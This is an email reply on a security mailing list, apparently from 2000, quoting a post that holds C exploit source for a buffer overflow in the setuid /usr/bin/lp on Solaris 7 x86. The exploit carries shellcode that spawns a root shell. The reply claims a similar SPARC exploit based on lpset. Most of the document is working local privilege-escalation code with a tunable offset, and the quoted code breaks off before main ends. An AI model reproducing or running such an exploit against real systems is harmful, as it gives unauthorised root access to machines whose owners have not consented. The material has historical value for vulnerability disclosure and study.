Hi,
I got this exploit working on multiple Solaris (2.5.1, 2.6 & 7), Sparc version.
It is similar, but based on lpset command instead of lp, but root privileges gained in
a second.
Will mail it soon.
Laurent LEVIER
IT Systems & Networks, Unix System Engineer
Security Specialist
Argosnet Security Server : http://www.Argosnet.com
"Le Veilleur Technologique", "The Technology Watcher"
At 15:17 24/04/00 +0000, Theodor Ragnar Gislason wrote:
>Setuid proggie /usr/bin/lp has an easily exploitable buffer overflow.
>This exploit is for Solaris 7 x86 version, no sparc exploit is available
>to my knowledge.
>
>later,
>
>DiGiT
>
>/*
> *
> * solaris 2.7 /usr/bin/lp local exploit, i386.
> *
> * discovered by DiGiT.
> * try offset 150-250 if sploit fails
> *
> * greets: #!ADM, #!security.is, #hax, duke
> *
> * DiGiT - [EMAIL PROTECTED]
> *
> */
>
>#include <stdio.h>
>#include <stdlib.h>
>
>
>char shellcode[] =
> "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
> "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
> "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
> "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
> "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
> "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
>
>#define BUFSIZE 1100
>
>long get_esp() { __asm__("movl %esp,%eax"); }
>
>int main(int argc, char *argv[]) {
>
> char buff[BUFSIZE];
> int nopcount=501, offset=260;
> int i;
>
> if (argc > 1) offset = atoi(argv[1]);
> if (argc > 2) nopcount = atoi(argv[2]);
>
> memset (buff, 0x90, BUFSIZE);
>
> for (i = nopcount; i < BUFSIZE - 4; i += 4)
> *(long *) &buff[i] = get_esp() + offset;
> memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
> (shellcode));
>
> memcpy (buff, ":", 1);
> printf("Addr = 0x%x\n", get_esp() + offset);
> execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);
